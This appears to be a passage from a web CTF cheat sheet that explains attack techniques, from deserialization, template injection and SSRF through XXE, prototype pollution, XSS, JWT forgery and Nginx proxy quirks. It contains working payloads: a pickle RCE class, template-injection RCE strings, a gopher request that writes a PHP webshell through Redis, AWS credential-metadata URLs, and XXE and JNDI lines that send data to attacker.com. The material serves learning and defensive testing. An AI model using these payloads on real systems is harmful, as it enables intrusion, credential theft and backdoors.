Why: Some applications check file signatures. Adding a GIF header makes the file appear as a valid GIF while still being a valid PHAR.

Python Pickle

import os
import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)

How it works: The __reduce__ method defines how to reconstruct the object during unpickling. By returning a callable and arguments, you can execute arbitrary code when the object is unpickled.

Java Deserialization

Serialized Data Signatures

  • Raw: ac ed 00 05 ...
  • Base64: rO0AB ...

How to recognize: Java serialized data starts with 0xaced (magic number) and version 0x0005.

ysoserial

Tool: ysoserial generates payloads for common Java gadget chains.

java -jar ysoserial.jar CommonsCollections1 'id' | base64

JNDI Injection

${jndi:ldap://attacker.com/payload}

How it works: JNDI (Java Naming and Directory Interface) allows looking up resources. If an attacker controls the JNDI name, they can point to a malicious LDAP server that returns a serialized object, leading to RCE.

Log4Shell (CVE-2021-44228)

${jndi:ldap://${sys:java.version}.attacker.com/a}

How it works: Log4j versions 2.0-2.14.1 allow JNDI lookups in log messages. By controlling log input, attackers can trigger LDAP lookups and RCE.


Server-Side Template Injection (SSTI)

Understanding SSTI

Template engines combine templates with data to generate HTML. If user input is embedded directly into templates without proper escaping, attackers can inject template syntax to execute code.

Testing for SSTI

{{7*7}}        # Jinja2, Twig: 49
${7*7}         # Freemarker, Velocity: 49
<%= 7*7 %>     # ERB (Ruby): 49
${{7*7}}       # Smarty: 49
{{7*'7'}}      # Jinja2: '7777777', Twig: '49'

How to interpret: Different template engines have different syntax. The result tells you which engine is being used.

Flask/Jinja2

Basic Exploration

{{ ''.__class__.__mro__[2].__subclasses__() }}

How it works:

  • ''.__class__ gets the string class
  • .__mro__ gets the method resolution order (parent classes)
  • [2] picks a parent class (often object)
  • .__subclasses__() lists all subclasses of object loaded in memory

This reveals all available classes, which can be searched for dangerous functions.

Finding Specific Class

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
        {{ c }}
    {% endif %}
{% endfor %}

How it works: Iterates through all subclasses, looking for a specific class by name. catch_warnings often has access to eval through its module.

RCE via Subclasses

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

How it works:

  1. Find catch_warnings class
  2. Access its __init__ method's __globals__ (all global variables)
  3. Look for dictionary objects ({}.__class__)
  4. Check if they contain eval
  5. Execute eval with Python code

Bypass Techniques

{{ ''['__class__'] }}                       # Bracket notation
{{ ''|attr('__class__') }}                   # Jinja2 attr filter
{{ ''["\x5f\x5fclass\x5f\x5f"] }}           # Hex encoding

Twig / Symfony

{{ ['id']|map('passthru') }}

How it works: The map filter applies a function to each array element. Here it applies passthru to the string 'id', executing the command.

{{ _self.env.setCache("ftp://attacker.net:21") }}
{{ _self.env.loadTemplate("backdoor") }}

How it works: _self refers to the template itself. By setting the cache to an FTP URL, you can make Twig load templates from your server, potentially loading malicious code.

Freemarker

${"freemarker.template.utility.Execute"?new()("id")}

How it works: Execute is a utility class in Freemarker that executes system commands. ?new() creates an instance, then calls it with the command string.


Server-Side Request Forgery (SSRF)

Understanding SSRF

SSRF occurs when an attacker can make the server make HTTP requests to arbitrary URLs. This can be used to access internal services, cloud metadata, or bypass firewalls.

Finding SSRF

Common entry points:

  • Webhooks: User-provided URL that server fetches
  • XXE: External entity loading
  • PDF generators: Include external resources
  • Open Graph: og:image URLs
  • Image processors: ImageMagick, FFmpeg

Bypassing 127.0.0.1 Restrictions

IP Variations

127.0.0.1
127.00000.00000.0001    # Leading zeros
127.0.1                  # Short form
127.1                    # Even shorter
0.0.0.0                  # All interfaces
0                        # Shorthand for 0.0.0.0
localhost

Why they work: DNS resolution and IP parsing libraries handle these variations differently.

CIDR Bypass

127.0.0.0/8  # Any 127.x.x.x works
127.12.34.56

How it works: Some filters only block 127.0.0.1 specifically, not the entire loopback range.

Decimal/IPv6/Octal/Hex

http://2130706433           # Decimal: 127.0.0.1
http://0x7f000001           # Hex
http://017700000001         # Octal
http://[::]                 # IPv6 unspecified
http://[::1]                # IPv6 localhost

How it works: IP addresses can be represented in multiple formats. A filter checking for 127.0.0.1 as a string won't catch these.

Domain Tricks

127.0.0.1.xip.io            # Resolves to 127.0.0.1

How it works: Services like xip.io provide wildcard DNS that resolves any subdomain to the IP in the subdomain.

302 Redirect Bypass

<?php
header('Location: http://169.254.169.254/latest/meta-data/');
?>

How it works:

  1. Application validates the initial URL (allowed domain)
  2. Application follows the 302 redirect to the internal IP
  3. The internal request succeeds, bypassing the validation

Metadata Endpoints

AWS

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

What they contain: AWS instance metadata, including IAM credentials that can be used to access AWS services.

Google Cloud

http://metadata.google.internal/computeMetadata/v1/

Note: Requires header Metadata-Flavor: Google

Gopher Protocol

gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a

How it works: Gopher is a simple protocol that can tunnel TCP traffic. By crafting gopher URLs, you can interact with any TCP service (Redis, MySQL, FastCGI) through SSRF.

Redis Example

gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fvar%2fwww%2fhtml%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT

What it does: Connects to Redis, sets a PHP webshell, and saves it to the web directory.


XML External Entity (XXE) Attacks

Understanding XXE

XXE attacks exploit XML parsers that process external entities. This can lead to file disclosure, SSRF, or DoS.

Basic XXE

Internal Entity

<!DOCTYPE root [
    <!ENTITY param "Hello">
]>
<root>&param;</root>

How it works: Defines an entity &param; that expands to "Hello". This is normal XML functionality.

External Entity (File Read)

<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

How it works: The SYSTEM keyword tells the parser to load an external resource. If the parser doesn't disable external entities, it reads the file and includes its contents.

External Entity (HTTP Request)

<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://attacker.com/xxe.txt">
]>
<root>&xxe;</root>

How it works: The parser makes an HTTP request to the attacker's server, enabling data exfiltration or SSRF.

Parameter Entities

<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
    %remote;
]>
<root>&b;</root>

xxe.dtd:

<!ENTITY b SYSTEM "file:///etc/passwd">

How it works: Parameter entities (%remote) are used in DTDs, not in the XML body. This allows two-stage attacks where the malicious DTD is fetched from an attacker-controlled server.

Out of Band (OOB) XXE

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
%remote;
%all;
%send;
]>

xxe.dtd:

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?data=%file;'>">

How it works:

  1. %remote loads the attacker's DTD
  2. The DTD defines %all which defines %send
  3. %send makes a request to the attacker with the file contents

This exfiltrates data even when no output is shown in the response.

Billion Laughs Attack (DoS)

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
]>
<data>&a3;</data>

How it works: Each entity expands exponentially. &a3; expands to 10³ = 1000 copies of "dos", consuming massive memory.


Prototype Pollution

Understanding Prototype Pollution

JavaScript objects inherit properties from their prototype. By modifying Object.prototype, attackers can add properties to all objects, potentially altering application behavior.

Basic Pollution

goodshit = {}
goodshit.__proto__.polluted = "ggininder"

// Now all objects have this property
user = {}
console.log(user.polluted)  // "ggininder"

How it works: __proto__ refers to the object's prototype. Adding a property to __proto__ adds it to the prototype, which all objects inherit from.

JSON Parse Pollution

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
Object.assign(o1, o2)
console.log(o1.b)      // 2
console.log({}.b)      // 2 (prototype polluted!)

How it works: Object.assign() copies properties, including __proto__. When it copies __proto__, it modifies the prototype.

jQuery (CVE-2019-11358)

let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode)  // true

How it works: $.extend() recursively merges objects. In jQuery < 3.4.0, it doesn't handle __proto__ specially, allowing prototype pollution.

RCE via Process Spawning + Pollution

NODE_OPTIONS Injection

Object.prototype.env = {
    NODE_DEBUG: 'require("child_process").execSync("touch /tmp/pwned")//',
    NODE_OPTIONS: '-r /proc/self/environ'
};

// Any process spawn will use these environment variables
spawn('node', ['script.js']);

How it works:

  1. Pollute Object.prototype.env so all objects inherit these environment variables
  2. NODE_OPTIONS: '-r /proc/self/environ' makes Node.js load /proc/self/environ as a module
  3. /proc/self/environ contains the NODE_DEBUG variable with malicious code
  4. When Node.js loads it, the code executes

require() Gadget

a = {} 
a["__proto__"]["exports"] = {".": "./pwn.js"} 
a["__proto__"]["1"] = "./" 
require("./index.js")  // Loads pwn.js instead

How it works: Node.js's module resolution can be manipulated by polluting the exports object used in require().

EJS RCE

Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x";

How it works: EJS uses outputFunctionName in template compilation. If polluted, it injects malicious code into the generated template function.


Frontend Attacks (XSS, CSP, DOM Clobbering)

XSS (Cross-Site Scripting)

Understanding XSS

XSS allows attackers to inject JavaScript into web pages viewed by other users. This can steal cookies, session tokens, or perform actions as the victim.

Basic Payloads

<script>alert(1)</script>

How it works: The <script> tag executes JavaScript directly.

<svg/onload=alert(1)>

How it works: SVG elements support event handlers like onload. When the SVG loads, the JavaScript executes.

<img src=# onerror=alert(1)>

How it works: If the image fails to load (src=# is invalid), the onerror event fires, executing JavaScript.

<a href="javascript:alert(1)">Click</a>

How it works: The javascript: pseudo-protocol in href executes JavaScript when clicked.

Bypass Techniques

Case insensitivity:

<ScRipT>alert(1)</ScRipT>

How it works: HTML tags are case-insensitive. Some filters only check lowercase.

Quote variations:

<img src=# onerror=alert(1)>

How it works: Attributes don't always need quotes. This bypasses filters looking for quoted strings.

HTML encoding:

<svg/onload=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

How it works: HTML entities are decoded before execution. This hides the actual characters from filters.

innerHTML Restrictions

element.innerHTML = '<img src=@ onerror=alert(1)>';  // Executes
element.innerHTML = '<script>alert(1)</script>';    // Doesn't execute

Why: For security, <script> tags inserted via innerHTML don't execute. However, other tags with event handlers do.

Double SVG trick:

element.innerHTML = '<svg><svg onload=alert(1)>';  // Executes!

Why this works: The outer SVG creates a context where the inner SVG's onload is allowed to execute.

CSP Bypass

CSP (Content Security Policy) restricts what resources a page can load. It's defined in the Content-Security-Policy header.

Base Tag Hijacking

<base href="http://attacker.com/">

How it works: The <base> tag sets the base URL for all relative URLs on the page. If an attacker can inject this, all relative script/CSS loads come from their server.

JSONP Endpoints

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

How it works: JSONP (JSON with Padding) allows cross-origin requests by using a callback parameter. If the site is whitelisted in CSP, you can use its JSONP endpoints to execute code.

DNS Prefetch Exfiltration

<link rel="dns-prefetch" href="https://attacker.com">

How it works: Even with strict CSP, browsers will perform DNS lookups for dns-prefetch links. This can be used to exfiltrate data (encoded in subdomains) via DNS requests.

DOM Clobbering

Basic Clobbering

<form id="test1"></form>
<script>
console.log(test1);           // <form id="test1">
</script>

How it works: Elements with id become global variables. This can overwrite existing variables.

Overriding Native Functions

<form name="getElementById"></form>
<script>
document.getElementById("form");  // Error - function is clobbered!
</script>

How it works: The form with name="getElementById" creates a global variable that shadows the native document.getElementById method.

HTMLCollection with Multiple IDs

<a id="test1">Link 1</a>
<a id="test1">Link 2</a>
<script>
console.log(window.test1);  // HTMLCollection of both a elements
</script>

How it works: Multiple elements with the same id create an HTMLCollection instead of a single element.


Cryptography in Web CTF

ECB Mode Attacks

Cut and Paste Attack

Original: user=kaibro;role=user
Blocks:   [user=kaib] [ro;role=] [user]

Craft:    user=aaa admin;ro le=user
Blocks:   [user=aaa] [admin;ro] [le=user]

Combine:  [user=aaa] [le=user] [admin;ro]
Result:   user=aaa;role=admin

How it works: ECB encrypts each block independently. By rearranging encrypted blocks, you can create new valid ciphertexts with different meanings.

CBC Mode Attacks

Bit Flipping Attack

In CBC mode: Plaintext = Decrypt(Ciphertext) XOR PreviousCiphertext

If you control the IV:

Original: IV XOR Decrypt(C) = P
To get P' (desired plaintext):
New IV = IV XOR P XOR P'
Result: NewIV XOR Decrypt(C) = P'

How it works: By modifying the IV (or previous ciphertext block), you can predictably change the corresponding plaintext byte.

Padding Oracle Attack

How it works:

  1. Server reveals whether padding is valid (PKCS#7)
  2. Modify last byte of previous block until padding becomes valid (0x01)
  3. This reveals Decrypt(C)[last] = modified_byte XOR 0x01
  4. Continue to decrypt entire block
  5. Then XOR with original ciphertext to get plaintext

Length Extension Attack

Affects MD5, SHA-1, SHA-256.

How it works: If you know H = hash(secret + message) and the length of secret, you can compute hash(secret + message + padding + extension) without knowing the secret.

HashPump tool:

hashpump -s '6d5f807e23db210bc254a28be2d6759a' \
         -d 'original message' \
         -k 16 \
         -a 'extra data'

Miscellaneous Techniques

JWT (JSON Web Token)

Structure

header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Parts:

  • Header: Algorithm and token type (base64 encoded)
  • Payload: Claims (base64 encoded)
  • Signature: Verifies token integrity

None Algorithm Attack

import jwt
token = jwt.encode({"user": "admin"}, key="", algorithm="none")

How it works: If the server accepts the "none" algorithm, it won't verify the signature. The token is accepted without any signature.

Algorithm Confusion (RS256 -> HS256)

public = open('public.pem', 'r').read()
token = jwt.encode({"user": "admin"}, key=public, algorithm='HS256')

How it works: If the server uses RS256 (RSA) but you have the public key, you can create a token with HS256 using the public key as the HMAC secret. The server will verify it with the same public key.

Kid Injection

{
    "kid": "../../../../etc/passwd",
    "user": "admin"
}

How it works: The kid (key ID) header tells the server which key to use for verification. If the server uses it to read a file, path traversal can read arbitrary files.

ShellShock (CVE-2014-6271)

env x='() { :;}; echo vulnerable' bash -c 'echo test'

How it works: Vulnerable bash versions execute code after the function definition in environment variables. This affects CGI scripts that pass HTTP headers as environment variables.

X-Forwarded-For Spoofing

Common headers:

X-Forwarded-For
Client-IP
X-Client-IP
X-Real-IP
X-Remote-IP

How it works: These headers tell the server the original client IP. If the server trusts them, attackers can spoof their IP to bypass IP-based restrictions.

Nginx Alias Traversal

Vulnerable config:

location /files {
    alias /home/;
}

Exploit:

/files../etc/passwd  # Traverses out of /home/

How it works: If alias doesn't have a trailing slash, ../ can break out of the intended directory.

HTTP/2 Push

How it works: Server can push resources to client. By analyzing which resources are pushed, an attacker might infer information about the user's state (e.g., logged in vs not logged in).

Symlink in Zip

ln -s ../../../../../../etc/passwd link
zip --symlink evil.zip link

How it works: When extracted, creates a symlink to /etc/passwd. If the application reads files from the extracted zip, it might follow the symlink to sensitive files.


Tools and Online Resources

Information Gathering

Search Engines

  • Shodan - Searches for internet-connected devices
  • Censys - Internet-wide scan data
  • crt.sh - Certificate transparency logs

Subdomain Enumeration

  • Sublist3r - Enumerates subdomains using search engines
  • Amass - In-depth subdomain enumeration
  • Assetfinder - Fast subdomain discovery

Directory Brute Force

  • Dirb - Directory brute forcing
  • Gobuster - Fast directory/file enumeration
  • FFUF - Flexible fuzzing tool

Hash Cracking

Online Databases

  • cmd5.com - MD5 reverse lookup
  • crackstation.net - Large hash database

Local Tools

  • Hashcat - GPU-accelerated hash cracking
  • John the Ripper - Password cracking

General Tools

  • Burp Suite - Web proxy and scanner
  • CyberChef - The Cyber Swiss Army Knife (encoding, encryption, etc.)
  • PayloadsAllTheThings - Collection of payloads for various attacks
  • HackTricks - Comprehensive hacking techniques

DNS Exfiltration

  • Interactsh - OOB testing platform
  • Burp Collaborator - Burp's OOB testing service

CTF Platforms

  • CTFtime - CTF schedule and writeups
  • picoCTF - Educational CTF platform
  • CTFlearn - Practice CTF challenges

HTTP Method Tricks

OPTIONS Method

curl -X OPTIONS http://target.com/ -i

What it does: The OPTIONS method asks the server which HTTP methods are allowed for a particular resource. The response includes an Allow header listing supported methods like GET, POST, PUT, DELETE, etc.

Why this matters in CTF:

  • Discovering allowed methods can reveal hidden functionality
  • Some methods like PUT or DELETE might be enabled by mistake
  • TRACE method can lead to XSS (Cross-Site Tracing)
  • WebDAV methods (PROPFIND, COPY, MOVE) might allow file manipulation

Example response:

HTTP/1.1 200 OK
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE
Content-Length: 0

HEAD Method Behavior

@app.route('/admin', methods=['GET'])
def admin():
    # This also handles HEAD requests automatically
    return sensitive_data

How it works: In many frameworks (like Flask/Werkzeug), if you define a route for GET, it automatically handles HEAD requests by default. The framework runs the GET handler but discards the body, only sending headers.

Security implications:

  • Developers might forget that HEAD requests execute the same code as GET
  • If sensitive operations happen in GET handlers, HEAD requests can trigger them without returning data
  • Can be used to test for existence of resources without downloading large files
  • Some WAFs might not check HEAD requests thoroughly

CTF Example - FwordCTF 2021 "Shisui": The challenge had a route that checked for admin access only in GET requests, but HEAD requests bypassed the check while still executing the sensitive code.

Bypassing GitHub's OAuth flow: GitHub's OAuth implementation had a vulnerability where HEAD requests to the callback URL would trigger the OAuth completion flow without requiring the user to actually visit the page, potentially leading to account takeover.


DNS Attacks

DNS Zone Transfer

dig @dns-server domain.com axfr

What is a zone transfer? DNS zone transfer (AXFR) is a mechanism used to replicate DNS databases across DNS servers. It allows a secondary server to receive a complete copy of all DNS records from the primary server.

How it works:

  • The axfr (full zone transfer) request asks the DNS server to send all records for a domain
  • This should only be allowed between trusted servers
  • Misconfigured DNS servers may allow anyone to request a zone transfer

What you can find:

  • All subdomains (not just the ones in public records)
  • Internal hostnames that shouldn't be exposed
  • IP addresses of internal servers
  • Mail server configurations
  • TXT records that might contain verification strings or secrets

Example output:

; <<>> DiG 9.16.1-Ubuntu <<>> @ns1.example.com example.com axfr
; (1 server found)
;; global options: +cmd
example.com.        3600    IN    SOA    ns1.example.com. admin.example.com. 2024030601 7200 3600 1209600 3600
example.com.        3600    IN    NS     ns1.example.com.
example.com.        3600    IN    NS     ns2.example.com.
example.com.        3600    IN    A      192.168.1.10
admin.example.com.  3600    IN    A      192.168.1.20
internal.example.com. 3600 IN    A      10.0.0.5
secret.example.com.  3600    IN    A      10.0.0.6

How to test:

# Try zone transfer on common name servers
dig @ns1.example.com example.com axfr
dig @ns2.example.com example.com axfr

# Try with different domains
dig @target.com target.com axfr

# Use dnsrecon tool
dnsrecon -d example.com -t axfr

IIS Short File Name Enumeration

Understanding 8.3 Filenames

On Windows, for backward compatibility with older systems, every file gets a short 8.3 filename:

  • longfilename.txtLONGFI~1.TXT
  • administratorADMINI~1
  • program filesPROGRA~1

How it works: When a file is created, Windows generates a short name that follows the pattern:

  • First 6 characters of the long name (uppercase)
  • Tilde (~)
  • Number (to avoid collisions)
  • First 3 characters of the extension (uppercase)

Why this is a vulnerability: Even if the web server is configured to hide directory listings, the 8.3 short names can be brute-forced because:

  • The character set is limited (A-Z, 0-9, and a few special chars)
  • The pattern is predictable
  • IIS responds differently to existing vs non-existing short names

IIS Short Name Scanner

java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/

How the scanner works:

  1. It sends requests for various short name patterns
  2. IIS returns different HTTP status codes for existing vs non-existing files
  3. By analyzing responses, it can reconstruct the actual filenames

Detection methods:

  • 403 vs 404: Some IIS versions return 403 (Forbidden) for existing files but 404 for non-existing
  • Content-Length: Different response sizes can indicate file existence
  • Response time: Existing files might take slightly longer to process

What you can discover:

  • Source code filenames (even if .asp/.aspx extensions are hidden)
  • Backup files
  • Configuration files
  • Admin panel locations

CTF Example - MidnightSun CTF 2024 "ASPowerTools": The challenge had a hidden admin panel. Using short name enumeration, contestants discovered a backup file admin~1.bak that contained the source code with credentials.

Mitigation

To disable 8.3 filename creation on Windows:

fsutil behavior set disable8dot3 1

Node.js Unicode Path Bypass

Understanding Unicode Normalization

Node.js uses UCS-2 internally for string handling. This can lead to path traversal bypasses when combined with Unicode characters.

Fullwidth Characters

Unicode has "fullwidth" versions of ASCII characters:

  • A (U+0041) → (U+FF21) - Fullwidth Latin capital A
  • . (U+002E) → (U+FF0E) - Fullwidth full stop
  • / (U+002F) → (U+FF0F) - Fullwidth solidus

The bypass:

NN  # Fullwidth 'N' (U+FF2E) + Fullwidth 'N' (U+FF2E)

How it works:

  1. The application has a filter that blocks .. (two dots)
  2. Attacker uses fullwidth characters: ..
  3. The filter doesn't recognize these as dots
  4. After Unicode normalization (NFC/NFD), these may be converted to regular dots
  5. Or the filesystem might treat them as equivalent to regular dots

Unicode Normalization Forms

  • NFC (Normalization Form C): Composed characters
  • NFD (Normalization Form D): Decomposed characters

Example:

'é' can be represented as:
- U+00E9 (LATIN SMALL LETTER E WITH ACUTE) - NFC
- U+0065 U+0301 (e + combining acute) - NFD

Exploitation: If the application normalizes input in one way but the filesystem uses another, bypasses can occur.

Case Study - Path Traversal Bypass

// Vulnerable filter
function isSafe(path) {
    return !path.includes('..');
}

// Bypass using Unicode
let malicious = '../etc/passwd';  // Fullwidth dots
if (isSafe(malicious)) {
    fs.readFile(malicious);  // Still reads /etc/passwd on some systems
}

CRLF Injection with Unicode

Understanding CRLF

CRLF (Carriage Return + Line Feed) characters are used to terminate lines in HTTP headers:

  • \r (Carriage Return) - 0x0D
  • \n (Line Feed) - 0x0A

Unicode Characters Containing Control Characters

Some Unicode characters contain control characters in their decomposition:

// U+560A contains 0x0A (newline)
%E5%98%8A  # URL encoded, decodes to a character containing newline

How this bypasses filters:

  1. Application filters look for %0a or \n in the input
  2. Attacker uses %E5%98%8A (a valid Unicode character)
  3. When decoded and processed, this character may decompose to include a newline
  4. The CRLF injection succeeds despite the filter

Example - HTTP Header Injection:

GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0%E5%98%8AContent-Length: 0%E5%98%8A%E5%98%8AGET /admin HTTP/1.1

After decoding, this becomes:

GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Length: 0

GET /admin HTTP/1.1

Why this works: The server decodes the URL, then processes the Unicode. Some Unicode normalization routines may expand certain characters into multiple ASCII characters, including control characters.


MySQL utf8 vs utf8mb4

Understanding the Difference

MySQL has two UTF-8 implementations:

utf8 (utf8mb3):

  • Maximum 3 bytes per character
  • Cannot store characters outside the Basic Multilingual Plane (BMP)
  • Does NOT support emoji or certain special characters

utf8mb4:

  • Maximum 4 bytes per character
  • Supports all Unicode characters, including emoji
  • Required for characters like 🔓 (U+1F513)

The Vulnerability (CVE-2015-3438)

When a 4-byte character (like an emoji) is inserted into a column defined as utf8 (3-byte) in non-strict mode, MySQL truncates the character, potentially breaking string boundaries.

How it works:

-- Column defined as VARCHAR(255) CHARACTER SET utf8
INSERT INTO table VALUES('admin🔓');

In non-strict mode, MySQL might:

  1. Try to insert the 4-byte emoji
  2. Realize it doesn't fit in a 3-byte character set
  3. Truncate the character, resulting in something like 'admin' + partial byte

Security implications: This can break XSS filters or SQL injection protections that rely on proper string handling.

WordPress XSS Example

WordPress had a vulnerability where:

  1. A comment containing a 4-byte character was posted
  2. MySQL truncated the character when storing in a utf8 column
  3. This broke HTML entity encoding
  4. Resulted in XSS when the comment was displayed

Payload:

<svg onload=alert(1)>🔓

When truncated, the closing > might be lost, causing the SVG tag to remain open and execute JavaScript.

Safe Configuration

Always use utf8mb4 for complete Unicode support:

CREATE TABLE table (
    column VARCHAR(255) CHARACTER SET utf8mb4
);

Set default character set:

[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci

Proxy Request Smuggling

Understanding Proxy Chains

When multiple proxies or web servers are involved (e.g., Nginx in front of Tomcat), they may interpret requests differently. These inconsistencies can be exploited.

Path Parameter Confusion

Different servers handle path parameters (semicolon syntax) differently:

# Tomcat/Jetty: /path;param/abcd → /path/abcd
# WebLogic/WildFly: /path;param/abcd → /path

How it works: Some servers strip path parameters, others don't. This can lead to different interpretations of the same URL.

Exploitation:

GET /admin;param/../flag HTTP/1.1
  • Frontend (Nginx): Sees /admin;param/../flag → Normalizes to /flag (access allowed)
  • Backend (Tomcat): Strips ;param first → /admin/../flag → Normalizes to /flag (still allowed)

But if the frontend blocks /admin while the backend doesn't:

GET /admin;param/../secret HTTP/1.1
  • Frontend: /admin;param/../secret → Normalizes to /secret (bypasses admin block)
  • Backend: Strips ;param/admin/../secret → Normalizes to /secret (still bypassed)

Nginx → Tomcat

GET /docs/..;/manager/html HTTP/1.1

How it works:

  • Nginx sees /docs/..;/manager/html - might not trigger deny rules if they only match exact paths
  • Tomcat sees /manager/html after path normalization (accesses Tomcat manager)

Nginx → Apache

GET /admin//../flag HTTP/1.1

How it works:

  • Nginx with proxy_pass without trailing slash: /admin//../flag normalized to /flag
  • Apache might see the original path differently due to double slash handling

Nginx → WebLogic

GET /#/../console HTTP/1.1

How it works:

  • Nginx sees /#/../console - the fragment # is not sent to the server
  • But some servers interpret # differently, potentially allowing path traversal

Nginx → Gunicorn

GET /admin/key\x09HTTP/1.1/../../../ HTTP/1.1

How it works:

  • Nginx denies /admin but sees the path as / after normalization
  • Gunicorn (Python WSGI server) normalizes differently and sees /admin/key

CTF Example - CSAW 2021 "gatekeeping": The challenge used Nginx in front of Gunicorn. By injecting a tab character, contestants could bypass Nginx's path-based filtering while still reaching the protected endpoint in Gunicorn.

Nginx + Swift (Case Sensitivity Mismatch)

Nginx: Case sensitive
Swift: Case insensitive

Exploitation: If rate limiting is based on path case, you can bypass by varying case:

GET /admin/stats
GET /Admin/stats
GET /ADMIN/stats

Each request has a different path according to Nginx's case-sensitive cache, but Swift sees them all as the same endpoint.

HAProxy + Caddy Tunneling

CONNECT + keep-alive + 200 status

How it works:

  1. Send a CONNECT request through HAProxy
  2. If it returns 200 with keep-alive
  3. HAProxy enters "tunnel mode" - forwards raw bytes without inspection
  4. Subsequent requests bypass all HAProxy rules

Nginx internal Directive Bypass

Understanding internal Directive

location /internal {
    internal;
    alias /path/to/files/;
}

The internal directive makes a location accessible only from internal Nginx requests (like error pages, subrequests, or X-Accel redirects), not directly from clients.

Bypass with X-Accel-Redirect

X-Accel-Redirect: /internal/secret.txt

How it works:

  1. Nginx has a feature called X-Accel (used for internal redirection)
  2. If the application returns this header, Nginx internally serves the specified file
  3. This bypasses the internal directive because it's an internal request

When this works: The application must be able to set this header. Common scenarios:

  • PHP script that reads user input and sets headers
  • Misconfigured application that doesn't validate the path
  • SSRF that can control response headers

CTF Example - Olympic CTF 2014 "CURLing": The challenge had a PHP script that fetched URLs and returned the response. By using a file:// URL that triggered an error page with X-Accel-Redirect, contestants could read internal files.

CTF Example - MidnightSun CTF 2019 "bigspin": The application allowed setting redirect headers. By setting X-Accel-Redirect: /internal/flag, contestants bypassed the internal restriction.

Protection

Use internal with proper validation:

location /internal {
    internal;
    alias /path/to/files/;
    # Also validate that the request comes from trusted sources
}

Nginx Alias Traversal

Vulnerable Configuration

location /files {
    alias /home/;
}

The vulnerability: When alias is used without a trailing slash, it can lead to path traversal.

Exploitation

/files../etc/passwd

How it works:

  1. Nginx receives request for /files../etc/passwd
  2. It matches the location /files
  3. It replaces /files with /home/ (from alias)
  4. Result: /home/../etc/passwd
  5. Normalizes to /etc/passwd

The math:

Original: /files../etc/passwd
Replace:  /home/ + ../etc/passwd
Result:   /home/../etc/passwd = /etc/passwd

Safe Configuration

Always use trailing slashes consistently:

# Safe
location /files/ {
    alias /home/;
}

# Also safe (but be consistent)
location /files {
    alias /home;
}

Nginx add_header Behavior

The Quirk

add_header directives in Nginx only apply to specific HTTP status codes:

200, 201, 204, 206, 301, 302, 303, 304, 307, 308

Security Implications

location /admin {
    add_header X-Frame-Options "DENY";
    # This header will NOT be added for 404, 403, 500, etc.
}

Exploitation:

  1. Cause an error page (404, 500)
  2. Security headers are missing
  3. Vulnerable to clickjacking or other attacks

Example: If an admin panel returns 403 for unauthorized users, the X-Frame-Options header might be missing, allowing clickjacking attacks.

Testing

# Check headers for successful response
curl -I https://target.com/admin/

# Check headers for error response
curl -I https://target.com/admin/nonexistent

Nginx $uri CRLF Injection

Vulnerable Configuration

proxy_pass http://backend$uri;

How CRLF Injection Works

The $uri variable in Nginx contains the normalized request URI. If it contains encoded newlines, they can be injected into the upstream request.

Exploitation

/ HTTP/1.1%0d%0aHost: evil.com%0d%0a%0d%0a

What happens:

  1. Nginx receives request for http://target/ HTTP/1.1%0d%0aHost: evil.com%0d%0a%0d%0a
  2. $uri becomes / HTTP/1.1\r\nHost: evil.com\r\n\r\n
  3. proxy_pass sends to backend: GET / HTTP/1.1\r\nHost: evil.com\r\n\r\n HTTP/1.1
  4. This can inject additional headers or even a second request

Impact

  • HTTP request smuggling
  • Header injection
  • Cache poisoning
  • Bypassing security controls

CTF Example - VolgaCTF 2021 "Static Site": The challenge used Nginx as a reverse proxy with proxy_pass http://backend$uri. By injecting CRLF, contestants could add headers to reach internal endpoints.

